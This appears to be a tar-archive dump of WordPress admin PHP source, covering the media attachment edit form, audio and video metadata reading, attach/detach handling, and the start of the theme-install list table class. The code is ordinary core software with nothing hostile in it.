		$attr = array( 'src' => $att_url );

		if ( ! empty( $w ) && ! empty( $h ) ) {
			$attr['width']  = $w;
			$attr['height'] = $h;
		}

		$thumb_id = get_post_thumbnail_id( $attachment_id );

		if ( ! empty( $thumb_id ) ) {
			$attr['poster'] = wp_get_attachment_url( $thumb_id );
		}

		echo wp_video_shortcode( $attr );

	elseif ( isset( $thumb_url[0] ) ) :
		?>
		<div class="wp_attachment_image wp-clearfix" id="media-head-<?php echo $attachment_id; ?>">
			<p id="thumbnail-head-<?php echo $attachment_id; ?>">
				<img class="thumbnail" src="<?php echo set_url_scheme( $thumb_url[0] ); ?>" style="max-width:100%" alt="" />
			</p>
		</div>
		<?php

	else :

		/**
		 * Fires when an attachment type can't be rendered in the edit form.
		 *
		 * @since 4.6.0
		 *
		 * @param WP_Post $post A post object.
		 */
		do_action( 'wp_edit_form_attachment_display', $post );

	endif;

	?>
	</div>
	<div class="wp_attachment_details edit-form-section">
	<?php if ( str_starts_with( $post->post_mime_type, 'image' ) ) : ?>
		<p class="attachment-alt-text">
			<label for="attachment_alt"><strong><?php _e( 'Alternative Text' ); ?></strong></label><br />
			<textarea class="widefat" name="_wp_attachment_image_alt" id="attachment_alt" aria-describedby="alt-text-description"><?php echo esc_attr( $alt_text ); ?></textarea>
		</p>
		<p class="attachment-alt-text-description" id="alt-text-description">
		<?php

		printf(
			/* translators: 1: Link to tutorial, 2: Additional link attributes, 3: Accessibility text. */
			__( '<a href="%1$s" %2$s>Learn how to describe the purpose of the image%3$s</a>. Leave empty if the image is purely decorative.' ),
			esc_url( 'https://www.w3.org/WAI/tutorials/images/decision-tree' ),
			'target="_blank" rel="noopener"',
			sprintf(
				'<span class="screen-reader-text"> %s</span>',
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			)
		);

		?>
		</p>
	<?php endif; ?>

		<p>
			<label for="attachment_caption"><strong><?php _e( 'Caption' ); ?></strong></label><br />
			<textarea class="widefat" name="excerpt" id="attachment_caption"><?php echo $post->post_excerpt; ?></textarea>
		</p>

	<?php

	$quicktags_settings = array( 'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close' );
	$editor_args        = array(
		'textarea_name' => 'content',
		'textarea_rows' => 5,
		'media_buttons' => false,
		'tinymce'       => false,
		'quicktags'     => $quicktags_settings,
	);

	?>

	<label for="attachment_content" class="attachment-content-description"><strong><?php _e( 'Description' ); ?></strong>
	<?php

	if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {
		echo ': ' . __( 'Displayed on attachment pages.' );
	}

	?>
	</label>
	<?php wp_editor( format_to_edit( $post->post_content ), 'attachment_content', $editor_args ); ?>

	</div>
	<?php

	$extras = get_compat_media_markup( $post->ID );
	echo $extras['item'];
	echo '<input type="hidden" id="image-edit-context" value="edit-attachment" />' . "\n";
}

/**
 * Displays non-editable attachment metadata in the publish meta box.
 *
 * @since 3.5.0
 */
function attachment_submitbox_metadata() {
	$post          = get_post();
	$attachment_id = $post->ID;

	$file     = get_attached_file( $attachment_id );
	$filename = esc_html( wp_basename( $file ) );

	$media_dims = '';
	$meta       = wp_get_attachment_metadata( $attachment_id );

	if ( isset( $meta['width'], $meta['height'] ) ) {
		$media_dims .= "<span id='media-dims-$attachment_id'>{$meta['width']}&nbsp;&times;&nbsp;{$meta['height']}</span> ";
	}
	/** This filter is documented in wp-admin/includes/media.php */
	$media_dims = apply_filters( 'media_meta', $media_dims, $post );

	$att_url = wp_get_attachment_url( $attachment_id );

	$author = new WP_User( $post->post_author );

	$uploaded_by_name = __( '(no author)' );
	$uploaded_by_link = '';

	if ( $author->exists() ) {
		$uploaded_by_name = $author->display_name ? $author->display_name : $author->nickname;
		$uploaded_by_link = get_edit_user_link( $author->ID );
	}
	?>
	<div class="misc-pub-section misc-pub-uploadedby">
		<?php if ( $uploaded_by_link ) { ?>
			<?php _e( 'Uploaded by:' ); ?> <a href="<?php echo $uploaded_by_link; ?>"><strong><?php echo $uploaded_by_name; ?></strong></a>
		<?php } else { ?>
			<?php _e( 'Uploaded by:' ); ?> <strong><?php echo $uploaded_by_name; ?></strong>
		<?php } ?>
	</div>

	<?php
	if ( $post->post_parent ) {
		$post_parent = get_post( $post->post_parent );
		if ( $post_parent ) {
			$uploaded_to_title = $post_parent->post_title ? $post_parent->post_title : __( '(no title)' );
			$uploaded_to_link  = get_edit_post_link( $post->post_parent, 'raw' );
			?>
			<div class="misc-pub-section misc-pub-uploadedto">
				<?php if ( $uploaded_to_link ) { ?>
					<?php _e( 'Uploaded to:' ); ?> <a href="<?php echo $uploaded_to_link; ?>"><strong><?php echo $uploaded_to_title; ?></strong></a>
				<?php } else { ?>
					<?php _e( 'Uploaded to:' ); ?> <strong><?php echo $uploaded_to_title; ?></strong>
				<?php } ?>
			</div>
			<?php
		}
	}
	?>

	<div class="misc-pub-section misc-pub-attachment">
		<label for="attachment_url"><?php _e( 'File URL:' ); ?></label>
		<input type="text" class="widefat urlfield" readonly="readonly" name="attachment_url" id="attachment_url" value="<?php echo esc_attr( $att_url ); ?>" />
		<span class="copy-to-clipboard-container">
			<button type="button" class="button copy-attachment-url edit-media" data-clipboard-target="#attachment_url"><?php _e( 'Copy URL to clipboard' ); ?></button>
			<span class="success hidden" aria-hidden="true"><?php _e( 'Copied!' ); ?></span>
		</span>
	</div>
	<div class="misc-pub-section misc-pub-download">
		<a href="<?php echo esc_attr( $att_url ); ?>" download><?php _e( 'Download file' ); ?></a>
	</div>
	<div class="misc-pub-section misc-pub-filename">
		<?php _e( 'File name:' ); ?> <strong><?php echo $filename; ?></strong>
	</div>
	<div class="misc-pub-section misc-pub-filetype">
		<?php _e( 'File type:' ); ?>
		<strong>
		<?php

		if ( preg_match( '/^.*?\.(\w+)$/', get_attached_file( $post->ID ), $matches ) ) {
			echo esc_html( strtoupper( $matches[1] ) );
			list( $mime_type ) = explode( '/', $post->post_mime_type );
			if ( 'image' !== $mime_type && ! empty( $meta['mime_type'] ) ) {
				if ( "$mime_type/" . strtolower( $matches[1] ) !== $meta['mime_type'] ) {
					echo ' (' . $meta['mime_type'] . ')';
				}
			}
		} else {
			echo strtoupper( str_replace( 'image/', '', $post->post_mime_type ) );
		}

		?>
		</strong>
	</div>

	<?php

	$file_size = false;

	if ( isset( $meta['filesize'] ) ) {
		$file_size = $meta['filesize'];
	} elseif ( file_exists( $file ) ) {
		$file_size = wp_filesize( $file );
	}

	if ( ! empty( $file_size ) ) {
		?>
		<div class="misc-pub-section misc-pub-filesize">
			<?php _e( 'File size:' ); ?> <strong><?php echo size_format( $file_size ); ?></strong>
		</div>
		<?php
	}

	if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {
		$fields = array(
			'length_formatted' => __( 'Length:' ),
			'bitrate'          => __( 'Bitrate:' ),
		);

		/**
		 * Filters the audio and video metadata fields to be shown in the publish meta box.
		 *
		 * The key for each item in the array should correspond to an attachment
		 * metadata key, and the value should be the desired label.
		 *
		 * @since 3.7.0
		 * @since 4.9.0 Added the `$post` parameter.
		 *
		 * @param array   $fields An array of the attachment metadata keys and labels.
		 * @param WP_Post $post   WP_Post object for the current attachment.
		 */
		$fields = apply_filters( 'media_submitbox_misc_sections', $fields, $post );

		foreach ( $fields as $key => $label ) {
			if ( empty( $meta[ $key ] ) ) {
				continue;
			}

			?>
			<div class="misc-pub-section misc-pub-mime-meta misc-pub-<?php echo sanitize_html_class( $key ); ?>">
				<?php echo $label; ?>
				<strong>
				<?php

				switch ( $key ) {
					case 'bitrate':
						echo round( $meta['bitrate'] / 1000 ) . 'kb/s';
						if ( ! empty( $meta['bitrate_mode'] ) ) {
							echo ' ' . strtoupper( esc_html( $meta['bitrate_mode'] ) );
						}
						break;
					default:
						echo esc_html( $meta[ $key ] );
						break;
				}

				?>
				</strong>
			</div>
			<?php
		}

		$fields = array(
			'dataformat' => __( 'Audio Format:' ),
			'codec'      => __( 'Audio Codec:' ),
		);

		/**
		 * Filters the audio attachment metadata fields to be shown in the publish meta box.
		 *
		 * The key for each item in the array should correspond to an attachment
		 * metadata key, and the value should be the desired label.
		 *
		 * @since 3.7.0
		 * @since 4.9.0 Added the `$post` parameter.
		 *
		 * @param array   $fields An array of the attachment metadata keys and labels.
		 * @param WP_Post $post   WP_Post object for the current attachment.
		 */
		$audio_fields = apply_filters( 'audio_submitbox_misc_sections', $fields, $post );

		foreach ( $audio_fields as $key => $label ) {
			if ( empty( $meta['audio'][ $key ] ) ) {
				continue;
			}

			?>
			<div class="misc-pub-section misc-pub-audio misc-pub-<?php echo sanitize_html_class( $key ); ?>">
				<?php echo $label; ?> <strong><?php echo esc_html( $meta['audio'][ $key ] ); ?></strong>
			</div>
			<?php
		}
	}

	if ( $media_dims ) {
		?>
		<div class="misc-pub-section misc-pub-dimensions">
			<?php _e( 'Dimensions:' ); ?> <strong><?php echo $media_dims; ?></strong>
		</div>
		<?php
	}

	if ( ! empty( $meta['original_image'] ) ) {
		?>
		<div class="misc-pub-section misc-pub-original-image word-wrap-break-word">
			<?php _e( 'Original image:' ); ?>
			<a href="<?php echo esc_url( wp_get_original_image_url( $attachment_id ) ); ?>">
				<strong><?php echo esc_html( wp_basename( wp_get_original_image_path( $attachment_id ) ) ); ?></strong>
			</a>
		</div>
		<?php
	}
}

/**
 * Parses ID3v2, ID3v1, and getID3 comments to extract usable data.
 *
 * @since 3.6.0
 *
 * @param array $metadata An existing array with data.
 * @param array $data Data supplied by ID3 tags.
 */
function wp_add_id3_tag_data( &$metadata, $data ) {
	foreach ( array( 'id3v2', 'id3v1' ) as $version ) {
		if ( ! empty( $data[ $version ]['comments'] ) ) {
			foreach ( $data[ $version ]['comments'] as $key => $list ) {
				if ( 'length' !== $key && ! empty( $list ) ) {
					$metadata[ $key ] = wp_kses_post( reset( $list ) );
					// Fix bug in byte stream analysis.
					if ( 'terms_of_use' === $key && str_starts_with( $metadata[ $key ], 'yright notice.' ) ) {
						$metadata[ $key ] = 'Cop' . $metadata[ $key ];
					}
				}
			}
			break;
		}
	}

	if ( ! empty( $data['id3v2']['APIC'] ) ) {
		$image = reset( $data['id3v2']['APIC'] );
		if ( ! empty( $image['data'] ) ) {
			$metadata['image'] = array(
				'data'   => $image['data'],
				'mime'   => $image['image_mime'],
				'width'  => $image['image_width'],
				'height' => $image['image_height'],
			);
		}
	} elseif ( ! empty( $data['comments']['picture'] ) ) {
		$image = reset( $data['comments']['picture'] );
		if ( ! empty( $image['data'] ) ) {
			$metadata['image'] = array(
				'data' => $image['data'],
				'mime' => $image['image_mime'],
			);
		}
	}
}

/**
 * Retrieves metadata from a video file's ID3 tags.
 *
 * @since 3.6.0
 *
 * @param string $file Path to file.
 * @return array|false Returns array of metadata, if found.
 */
function wp_read_video_metadata( $file ) {
	if ( ! file_exists( $file ) ) {
		return false;
	}

	$metadata = array();

	if ( ! defined( 'GETID3_TEMP_DIR' ) ) {
		define( 'GETID3_TEMP_DIR', get_temp_dir() );
	}

	if ( ! class_exists( 'getID3', false ) ) {
		require ABSPATH . WPINC . '/ID3/getid3.php';
	}

	$id3 = new getID3();
	// Required to get the `created_timestamp` value.
	$id3->options_audiovideo_quicktime_ReturnAtomData = true; // phpcs:ignore WordPress.NamingConventions.ValidVariableName

	$data = $id3->analyze( $file );

	if ( isset( $data['video']['lossless'] ) ) {
		$metadata['lossless'] = $data['video']['lossless'];
	}

	if ( ! empty( $data['video']['bitrate'] ) ) {
		$metadata['bitrate'] = (int) $data['video']['bitrate'];
	}

	if ( ! empty( $data['video']['bitrate_mode'] ) ) {
		$metadata['bitrate_mode'] = $data['video']['bitrate_mode'];
	}

	if ( ! empty( $data['filesize'] ) ) {
		$metadata['filesize'] = (int) $data['filesize'];
	}

	if ( ! empty( $data['mime_type'] ) ) {
		$metadata['mime_type'] = $data['mime_type'];
	}

	if ( ! empty( $data['playtime_seconds'] ) ) {
		$metadata['length'] = (int) round( $data['playtime_seconds'] );
	}

	if ( ! empty( $data['playtime_string'] ) ) {
		$metadata['length_formatted'] = $data['playtime_string'];
	}

	if ( ! empty( $data['video']['resolution_x'] ) ) {
		$metadata['width'] = (int) $data['video']['resolution_x'];
	}

	if ( ! empty( $data['video']['resolution_y'] ) ) {
		$metadata['height'] = (int) $data['video']['resolution_y'];
	}

	if ( ! empty( $data['fileformat'] ) ) {
		$metadata['fileformat'] = $data['fileformat'];
	}

	if ( ! empty( $data['video']['dataformat'] ) ) {
		$metadata['dataformat'] = $data['video']['dataformat'];
	}

	if ( ! empty( $data['video']['encoder'] ) ) {
		$metadata['encoder'] = $data['video']['encoder'];
	}

	if ( ! empty( $data['video']['codec'] ) ) {
		$metadata['codec'] = $data['video']['codec'];
	}

	if ( ! empty( $data['audio'] ) ) {
		unset( $data['audio']['streams'] );
		$metadata['audio'] = $data['audio'];
	}

	if ( empty( $metadata['created_timestamp'] ) ) {
		$created_timestamp = wp_get_media_creation_timestamp( $data );

		if ( false !== $created_timestamp ) {
			$metadata['created_timestamp'] = $created_timestamp;
		}
	}

	wp_add_id3_tag_data( $metadata, $data );

	$file_format = isset( $metadata['fileformat'] ) ? $metadata['fileformat'] : null;

	/**
	 * Filters the array of metadata retrieved from a video.
	 *
	 * In core, usually this selection is what is stored.
	 * More complete data can be parsed from the `$data` parameter.
	 *
	 * @since 4.9.0
	 *
	 * @param array       $metadata    Filtered video metadata.
	 * @param string      $file        Path to video file.
	 * @param string|null $file_format File format of video, as analyzed by getID3.
	 *                                 Null if unknown.
	 * @param array       $data        Raw metadata from getID3.
	 */
	return apply_filters( 'wp_read_video_metadata', $metadata, $file, $file_format, $data );
}

/**
 * Retrieves metadata from an audio file's ID3 tags.
 *
 * @since 3.6.0
 *
 * @param string $file Path to file.
 * @return array|false Returns array of metadata, if found.
 */
function wp_read_audio_metadata( $file ) {
	if ( ! file_exists( $file ) ) {
		return false;
	}

	$metadata = array();

	if ( ! defined( 'GETID3_TEMP_DIR' ) ) {
		define( 'GETID3_TEMP_DIR', get_temp_dir() );
	}

	if ( ! class_exists( 'getID3', false ) ) {
		require ABSPATH . WPINC . '/ID3/getid3.php';
	}

	$id3 = new getID3();
	// Required to get the `created_timestamp` value.
	$id3->options_audiovideo_quicktime_ReturnAtomData = true; // phpcs:ignore WordPress.NamingConventions.ValidVariableName

	$data = $id3->analyze( $file );

	if ( ! empty( $data['audio'] ) ) {
		unset( $data['audio']['streams'] );
		$metadata = $data['audio'];
	}

	if ( ! empty( $data['fileformat'] ) ) {
		$metadata['fileformat'] = $data['fileformat'];
	}

	if ( ! empty( $data['filesize'] ) ) {
		$metadata['filesize'] = (int) $data['filesize'];
	}

	if ( ! empty( $data['mime_type'] ) ) {
		$metadata['mime_type'] = $data['mime_type'];
	}

	if ( ! empty( $data['playtime_seconds'] ) ) {
		$metadata['length'] = (int) round( $data['playtime_seconds'] );
	}

	if ( ! empty( $data['playtime_string'] ) ) {
		$metadata['length_formatted'] = $data['playtime_string'];
	}

	if ( empty( $metadata['created_timestamp'] ) ) {
		$created_timestamp = wp_get_media_creation_timestamp( $data );

		if ( false !== $created_timestamp ) {
			$metadata['created_timestamp'] = $created_timestamp;
		}
	}

	wp_add_id3_tag_data( $metadata, $data );

	$file_format = isset( $metadata['fileformat'] ) ? $metadata['fileformat'] : null;

	/**
	 * Filters the array of metadata retrieved from an audio file.
	 *
	 * In core, usually this selection is what is stored.
	 * More complete data can be parsed from the `$data` parameter.
	 *
	 * @since 6.1.0
	 *
	 * @param array       $metadata    Filtered audio metadata.
	 * @param string      $file        Path to audio file.
	 * @param string|null $file_format File format of audio, as analyzed by getID3.
	 *                                 Null if unknown.
	 * @param array       $data        Raw metadata from getID3.
	 */
	return apply_filters( 'wp_read_audio_metadata', $metadata, $file, $file_format, $data );
}

/**
 * Parses creation date from media metadata.
 *
 * The getID3 library doesn't have a standard method for getting creation dates,
 * so the location of this data can vary based on the MIME type.
 *
 * @since 4.9.0
 *
 * @link https://github.com/JamesHeinrich/getID3/blob/master/structure.txt
 *
 * @param array $metadata The metadata returned by getID3::analyze().
 * @return int|false A UNIX timestamp for the media's creation date if available
 *                   or a boolean FALSE if a timestamp could not be determined.
 */
function wp_get_media_creation_timestamp( $metadata ) {
	$creation_date = false;

	if ( empty( $metadata['fileformat'] ) ) {
		return $creation_date;
	}

	switch ( $metadata['fileformat'] ) {
		case 'asf':
			if ( isset( $metadata['asf']['file_properties_object']['creation_date_unix'] ) ) {
				$creation_date = (int) $metadata['asf']['file_properties_object']['creation_date_unix'];
			}
			break;

		case 'matroska':
		case 'webm':
			if ( isset( $metadata['matroska']['comments']['creation_time'][0] ) ) {
				$creation_date = strtotime( $metadata['matroska']['comments']['creation_time'][0] );
			} elseif ( isset( $metadata['matroska']['info'][0]['DateUTC_unix'] ) ) {
				$creation_date = (int) $metadata['matroska']['info'][0]['DateUTC_unix'];
			}
			break;

		case 'quicktime':
		case 'mp4':
			if ( isset( $metadata['quicktime']['moov']['subatoms'][0]['creation_time_unix'] ) ) {
				$creation_date = (int) $metadata['quicktime']['moov']['subatoms'][0]['creation_time_unix'];
			}
			break;
	}

	return $creation_date;
}

/**
 * Encapsulates the logic for Attach/Detach actions.
 *
 * @since 4.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $parent_id Attachment parent ID.
 * @param string $action    Optional. Attach/detach action. Accepts 'attach' or 'detach'.
 *                          Default 'attach'.
 */
function wp_media_attach_action( $parent_id, $action = 'attach' ) {
	global $wpdb;

	if ( ! $parent_id ) {
		return;
	}

	if ( ! current_user_can( 'edit_post', $parent_id ) ) {
		wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
	}

	$ids = array();

	foreach ( (array) $_REQUEST['media'] as $attachment_id ) {
		$attachment_id = (int) $attachment_id;

		if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
			continue;
		}

		$ids[] = $attachment_id;
	}

	if ( ! empty( $ids ) ) {
		$ids_string = implode( ',', $ids );

		if ( 'attach' === $action ) {
			$result = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_parent = %d WHERE post_type = 'attachment' AND ID IN ( $ids_string )", $parent_id ) );
		} else {
			$result = $wpdb->query( "UPDATE $wpdb->posts SET post_parent = 0 WHERE post_type = 'attachment' AND ID IN ( $ids_string )" );
		}
	}

	if ( isset( $result ) ) {
		foreach ( $ids as $attachment_id ) {
			/**
			 * Fires when media is attached or detached from a post.
			 *
			 * @since 5.5.0
			 *
			 * @param string $action        Attach/detach action. Accepts 'attach' or 'detach'.
			 * @param int    $attachment_id The attachment ID.
			 * @param int    $parent_id     Attachment parent ID.
			 */
			do_action( 'wp_media_attach_action', $action, $attachment_id, $parent_id );

			clean_attachment_cache( $attachment_id );
		}

		$location = 'upload.php';
		$referer  = wp_get_referer();

		if ( $referer ) {
			if ( str_contains( $referer, 'upload.php' ) ) {
				$location = remove_query_arg( array( 'attached', 'detach' ), $referer );
			}
		}

		$key      = 'attach' === $action ? 'attached' : 'detach';
		$location = add_query_arg( array( $key => $result ), $location );

		wp_redirect( $location );
		exit;
	}
}
class-wp-theme-install-list-table.php.tar000064400000042000150275632050014376 0ustar00home/natitnen/crestassured.com/wp-admin/includes/class-wp-theme-install-list-table.php000064400000036474150275231150025205 0ustar00<?php
/**
 * List Table API: WP_Theme_Install_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying themes to install in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_Themes_List_Table
 */
class WP_Theme_Install_List_Table extends WP_Themes_List_Table {

	public $features = array();

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'install_themes' );
	}

	/**
	 * @global array  $tabs
	 * @global string $tab
	 * @global int    $paged
	 * @global string $type
	 * @global array  $theme_field_defaults
	 */
	public function prepare_items() {
		require ABSPATH . 'wp-admin/includes/theme-install.php';

		global $tabs, $tab, $paged, $type, $theme_field_defaults;
		wp_reset_vars( array( 'tab' ) );

		$search_terms  = array();
		$search_string = '';
		if ( ! empty( $_REQUEST['s'] ) ) {
			$search_string = strtolower( wp_unslash( $_REQUEST['s'] ) );
			$search_terms  = array_unique( array_filter( array_map( 'trim', explode( ',', $search_string ) ) ) );
		}

		if ( ! empty( $_REQUEST['features'] ) ) {
			$this->features = $_REQUEST['features'];
		}

		$paged = $this->get_pagenum();

		$per_page = 36;

		// These are the tabs which are shown on the page,
		$tabs              = array();
		$tabs['dashboard'] = __( 'Search' );
		if ( 'search' === $tab ) {
			$tabs['search'] = __( 'Search Results' );
		}
		$tabs['upload']   = __( 'Upload' );
		$tabs['featured'] = _x( 'Featured', 'themes' );
		//$tabs['popular']  = _x( 'Popular', 'themes' );
		$tabs['new']     = _x( 'Latest', 'themes' );
		$tabs['updated'] = _x( 'Recently Updated', 'themes' );

		$nonmenu_tabs = array( 'theme-information' ); // Valid actions to perform which do not have a Menu item.

		/** This filter is documented in wp-admin/theme-install.php */
		$tabs = apply_filters( 'install_themes_tabs', $tabs );

		/**
		 * Filters tabs not associated with a menu item on the Install Themes screen.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $nonmenu_tabs The tabs that don't have a menu item on
		 *                               the Install Themes screen.
		 */
		$nonmenu_tabs = apply_filters( 'install_themes_nonmenu_tabs', $nonmenu_tabs );

		// If a non-valid menu tab has been selected, And it's not a non-menu action.
		if ( empty( $tab ) || ( ! isset( $tabs[ $tab ] ) && ! in_array( $tab, (array) $nonmenu_tabs, true ) ) ) {
			$tab = key( $tabs );
		}

		$args = array(
			'page'     => $paged,
			'per_page' => $per_page,
			'fields'   => $theme_field_defaults,
		);

		switch ( $tab ) {
			case 'search':
				$type = isset( $_REQUEST['type'] ) ? wp_unslash( $_REQUEST['type'] ) : 'term';
				switch ( $type ) {
					case 'tag':
						$args['tag'] = array_map( 'sanitize_key', $search_terms );
						break;
					case 'term':
						$args['search'] = $search_string;
						break;
					case 'author':
						$args['author'] = $search_string;
						break;
				}

				if ( ! empty( $this->features ) ) {
					$args['tag']      = $this->features;
					$_REQUEST['s']    = implode( ',', $this->features );
					$_REQUEST['type'] = 'tag';
				}

				add_action( 'install_themes_table_header', 'install_theme_search_form', 10, 0 );
				break;

			case 'featured':
				// case 'popular':
			case 'new':
			case 'updated':
				$args['browse'] = $tab;
				break;

			default:
				$args = false;
				break;
		}

		/**
		 * Filters API request arguments for each Install Themes screen tab.
		 *
		 * The dynamic portion of the hook name, `$tab`, refers to the theme install
		 * tab.
		 *
		 * Possible hook names include:
		 *
		 *  - `install_themes_table_api_args_dashboard`
		 *  - `install_themes_table_api_args_featured`
		 *  - `install_themes_table_api_args_new`
		 *  - `install_themes_table_api_args_search`
		 *  - `install_themes_table_api_args_updated`
		 *  - `install_themes_table_api_args_upload`
		 *
		 * @since 3.7.0
		 *
		 * @param array|false $args Theme install API arguments.
		 */
		$args = apply_filters( "install_themes_table_api_args_{$tab}", $args );

		if ( ! $args ) {
			return;
		}

		$api = themes_api( 'query_themes', $args );

		if ( is_wp_error( $api ) ) {
			wp_die( '<p>' . $api->get_error_message() . '</p> <p><a href="#" onclick="document.location.reload(); return false;">' . __( 'Try Again' ) . '</a></p>' );
		}

		$this->items = $api->themes;

		$this->set_pagination_args(
			array(
				'total_items'     => $api->info['results'],
				'per_page'        => $args['per_page'],
				'infinite_scroll' => true,
			)
		);
	}

	/**
	 */
	public function no_items() {
		_e( 'No themes match your request.' );
	}

	/**
	 * @global array $tabs
	 * @global string $tab
	 * @return array
	 */
	protected function get_views() {
		global $tabs, $tab;

		$display_tabs = array();
		foreach ( (array) $tabs as $action => $text ) {
			$display_tabs[ 'theme-install-' . $action ] = array(
				'url'     => self_admin_url( 'theme-install.php?tab=' . $action ),
				'label'   => $text,
				'current' => $action === $tab,
			);
		}

		return $this->get_views_links( $display_tabs );
	}

	/**
	 * Displays the theme install table.
	 *
	 * Overrides the parent display() method to provide a different container.
	 *
	 * @since 3.1.0
	 */
	public function display() {
		wp_nonce_field( 'fetch-list-' . get_class( $this ), '_ajax_fetch_list_nonce' );
		?>
		<div class="tablenav top themes">
			<div class="alignleft actions">
				<?php
				/**
				 * Fires in the Install Themes list table header.
				 *
				 * @since 2.8.0
				 */
				do_action( 'install_themes_table_header' );
				?>
			</div>
			<?php $this->pagination( 'top' ); ?>
			<br class="clear" />
		</div>

		<div id="availablethemes">
			<?php $this->display_rows_or_placeholder(); ?>
		</div>

		<?php
		$this->tablenav( 'bottom' );
	}

	/**
	 */
	public function display_rows() {
		$themes = $this->items;
		foreach ( $themes as $theme ) {
			?>
				<div class="available-theme installable-theme">
				<?php
					$this->single_row( $theme );
				?>
				</div>
			<?php
		} // End foreach $theme_names.

		$this->theme_installer();
	}

	/**
	 * Prints a theme from the WordPress.org API.
	 *
	 * @since 3.1.0
	 *
	 * @global array $themes_allowedtags
	 *
	 * @param stdClass $theme {
	 *     An object that contains theme data returned by the WordPress.org API.
	 *
	 *     @type string $name           Theme name, e.g. 'Twenty Twenty-One'.
	 *     @type string $slug           Theme slug, e.g. 'twentytwentyone'.
	 *     @type string $version        Theme version, e.g. '1.1'.
	 *     @type string $author         Theme author username, e.g. 'melchoyce'.
	 *     @type string $preview_url    Preview URL, e.g. 'https://2021.wordpress.net/'.
	 *     @type string $screenshot_url Screenshot URL, e.g. 'https://wordpress.org/themes/twentytwentyone/'.
	 *     @type float  $rating         Rating score.
	 *     @type int    $num_ratings    The number of ratings.
	 *     @type string $homepage       Theme homepage, e.g. 'https://wordpress.org/themes/twentytwentyone/'.
	 *     @type string $description    Theme description.
	 *     @type string $download_link  Theme ZIP download URL.
	 * }
	 */
	public function single_row( $theme ) {
		global $themes_allowedtags;

		if ( empty( $theme ) ) {
			return;
		}

		$name   = wp_kses( $theme->name, $themes_allowedtags );
		$author = wp_kses( $theme->author, $themes_allowedtags );

		/* translators: %s: Theme name. */
		$preview_title = sprintf( __( 'Preview &#8220;%s&#8221;' ), $name );
		$preview_url   = add_query_arg(
			array(
				'tab'   => 'theme-information',
				'theme' => $theme->slug,
			),
			self_admin_url( 'theme-install.php' )
		);

		$actions = array();

		$install_url = add_query_arg(
			array(
				'action' => 'install-theme',
				'theme'  => $theme->slug,
			),
			self_admin_url( 'update.php' )
		);

		$update_url = add_query_arg(
			array(
				'action' => 'upgrade-theme',
				'theme'  => $theme->slug,
			),
			self_admin_url( 'update.php' )
		);

		$status = $this->_get_theme_status( $theme );

		switch ( $status ) {
			case 'update_available':
				$actions[] = sprintf(
					'<a class="install-now" href="%s" title="%s">%s</a>',
					esc_url( wp_nonce_url( $update_url, 'upgrade-theme_' . $theme->slug ) ),
					/* translators: %s: Theme version. */
					esc_attr( sprintf( __( 'Update to version %s' ), $theme->version ) ),
					__( 'Update' )
				);
				break;
			case 'newer_installed':
			case 'latest_installed':
				$actions[] = sprintf(
					'<span class="install-now" title="%s">%s</span>',
					esc_attr__( 'This theme is already installed and is up to date' ),
					_x( 'Installed', 'theme' )
				);
				break;
			case 'install':
			default:
				$actions[] = sprintf(
					'<a class="install-now" href="%s" title="%s">%s</a>',
					esc_url( wp_nonce_url( $install_url, 'install-theme_' . $theme->slug ) ),
					/* translators: %s: Theme name. */
					esc_attr( sprintf( _x( 'Install %s', 'theme' ), $name ) ),
					__( 'Install Now' )
				);
				break;
		}

		$actions[] = sprintf(
			'<a class="install-theme-preview" href="%s" title="%s">%s</a>',
			esc_url( $preview_url ),
			/* translators: %s: Theme name. */
			esc_attr( sprintf( __( 'Preview %s' ), $name ) ),
			__( 'Preview' )
		);

		/**
		 * Filters the install action links for a theme in the Install Themes list table.
		 *
		 * @since 3.4.0
		 *
		 * @param string[] $actions An array of theme action links. Defaults are
		 *                          links to Install Now, Preview, and Details.
		 * @param stdClass $theme   An object that contains theme data returned by the
		 *                          WordPress.org API.
		 */
		$actions = apply_filters( 'theme_install_actions', $actions, $theme );

		?>
		<a class="screenshot install-theme-preview" href="<?php echo esc_url( $preview_url ); ?>" title="<?php echo esc_attr( $preview_title ); ?>">
			<img src="<?php echo esc_url( $theme->screenshot_url . '?ver=' . $theme->version ); ?>" width="150" alt="" />
		</a>

		<h3><?php echo $name; ?></h3>
		<div class="theme-author">
		<?php
			/* translators: %s: Theme author. */
			printf( __( 'By %s' ), $author );
		?>
		</div>

		<div class="action-links">
			<ul>
				<?php foreach ( $actions as $action ) : ?>
					<li><?php echo $action; ?></li>
				<?php endforeach; ?>
				<li class="hide-if-no-js"><a href="#" class="theme-detail"><?php _e( 'Details' ); ?></a></li>
			</ul>
		</div>

		<?php
		$this->install_theme_info( $theme );
	}

	/**
	 * Prints the wrapper for the theme installer.
	 */
	public function theme_installer() {
		?>
		<div id="theme-installer" class="wp-full-overlay expanded">
			<div class="wp-full-overlay-sidebar">
				<div class="wp-full-overlay-header">
					<a href="#" class="close-full-overlay button"><?php _e( 'Close' ); ?></a>
					<span class="theme-install"></span>
				</div>
				<div class="wp-full-overlay-sidebar-content">
					<div class="install-theme-info"></div>
				</div>
				<div class="wp-full-overlay-footer">
					<button type="button" class="collapse-sidebar button" aria-expanded="true" aria-label="<?php esc_attr_e( 'Collapse Sidebar' ); ?>">
						<span class="collapse-sidebar-arrow"></span>
						<span class="collapse-sidebar-label"><?php _e( 'Collapse' ); ?></span>
					</button>
				</div>
			</div>
			<div class="wp-full-overlay-main"></div>
		</div>
		<?php
	}

	/**
	 * Prints the wrapper for the theme installer with a provided theme's data.
	 * Used to make the theme installer work for no-js.
	 *
	 * @param stdClass $theme A WordPress.org Theme API object.
	 */
	public function theme_installer_single( $theme ) {
		?>
		<div id="theme-installer" class="wp-full-overlay single-theme">
			<div class="wp-full-overlay-sidebar">
				<?php $this->install_theme_info( $theme ); ?>
			</div>
			<div class="wp-full-overlay-main">
